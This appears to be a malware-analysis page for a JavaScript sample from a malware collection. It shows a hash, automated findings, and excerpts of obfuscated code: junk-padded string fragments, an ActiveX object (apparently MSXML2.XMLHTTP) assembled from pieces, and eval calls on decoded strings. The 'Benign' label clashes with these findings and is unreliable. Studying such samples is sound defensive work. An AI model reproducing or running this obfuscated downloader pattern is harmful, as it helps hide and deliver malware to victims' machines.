Benign javascript-malware-collection Download

20170503_8c12ccbd0edaf990cfa2b47eb9d3e60b.js

Builds ActiveX ProgID from fragmentseval() executing transformed code

SHA-2566a96b466b29f47935ad692f24304c83e624faa90289371383b1c713661288a68

Evidence

Many long string literals concatenated in source lines 1–48

1var vkPuhZGTocUFxXVECyB = 
2'JLCugODvkjvJLCugODvkja'+
3'JL'+
4'C'+
5'ugODvkjrJLCugO'+
6'D'+
7'v'+
8'kj '+
9'JLCugODvkjXx'+
10'JLCug'+
11'ODvkjj'+
12'IAJLCu'+
13'gOD'+
14'v'+
15'kjSfWFJLCug'+
16'ODvkjrJLCu'+
17'g'+
18'OD'+
19'vkj'+
20'KJ'+
21'L'+
22'Cug'+
23'ODvkjTm'+
24'J'+
25'LCugODvkjzJ'+
26'JLCugODvkj'+
27'B'+
28'JLCu'+
29'gODvkj = J'+
30'LC'+
31'ugODvkjnJLCu'+
32'g'+
33'ODvkjeJ'+
34'LCug'+
35'ODvkjw AcJLCu'+
36'g'+
37'OD'+
38'vkjtiJLCugODvkjveXOJLC'+
39'ug'+
⋯9 lines

Builds ActiveX ProgID from fragments lines 139–168

⋯9 lines
148'L'+
149'CugO'+
150'Dv'+
151'kjt.J'+
152'LCugODvkjsJLCug'+
⋯16 lines

Code formats a zero-padded integer lines 634–653

⋯5 lines
639"hI"+
640"Yct:28:22MSXM"+
641"L:3"+
642"2:2EXM"+
643"LHTTP:22:"+
⋯10 lines

JavaScript eval executes a call result lines 828–836

828:11… 0"+
829":31:"+
830"29:3B:2"+
831"0:7D\"));";
832var usLWbxkNQnMtVmilP = eval(rgTAlSWeuNPcIZsE);
833var upEzXlJLmQcIgZHhP = eval(BLHthOozbmXUVxrTua(gRIWPkbKLyBJnjszDE, "EyZuWFlYMH", ""));
834if (lTebXGcOWRtVEqds() == false) {
835var ybTiaghPXuIYDjqZFm = eval(BLHthOozbmXUVxrTua(BLHthOozbmXUVxrTua(NRPlWyoUQXzcGTO, wMxlzPWqLNCrJAvED, "%"), "PmVdBCGhIY", "e"));
836}